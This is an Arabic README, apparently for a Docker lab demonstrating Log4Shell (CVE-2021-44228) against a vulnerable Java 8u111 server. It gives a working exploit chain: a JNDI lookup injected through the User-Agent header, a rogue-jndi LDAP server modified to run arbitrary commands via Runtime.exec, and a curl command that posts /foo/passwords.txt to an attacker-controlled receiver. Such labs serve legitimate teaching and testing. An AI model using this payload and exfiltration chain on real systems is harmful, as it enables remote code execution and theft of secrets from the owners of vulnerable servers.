
مثال بسيط عن CVE-2021-44228 لنقل البيانات من خادم ضعيف إلى خدمة ويب يتحكم فيها المهاجم. جميع المكوّنات المعنية تعمل عبر Docker.
هذا خادم Java قياسي يعمل كضحية. يعمل بالنسخ التالية:
8u111هذا الخادم قابل للاستغلال باستخدام هذا الإعداد.
معلومات إضافية:
/logging (GET) ستسجّل وكيل المستخدم باستخدام Log4J/foo/passwords.txt موجود (هدف المهاجم)محتويات passwords.txt:
my secret
هذا خادم Java قياسي يعمل كجامع بيانات للمهاجم. يعمل بالنسخ التالية:
17معلومات إضافية:
receiver (POST) ستسجّل نص الطلبهذا خادم LDAP مدعوم من rogue-jndi.
تم تعديل صفّه ExportJava بحيث يتم تنفيذ الأوامر المُمرَّرة عبر الخيار -c.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
عندما يطلبه الخادم الضعيف، سيستجيب بصف ينفّذ الأمر التالي عند إنشائه:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
وهذا سيرسل فعليًا محتوى /foo/passwords.txt إلى نقطة النهاية المُجهَّزة لدى جهاز الاستقبال الخبيث.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt الخاص بالخادم../stop.sh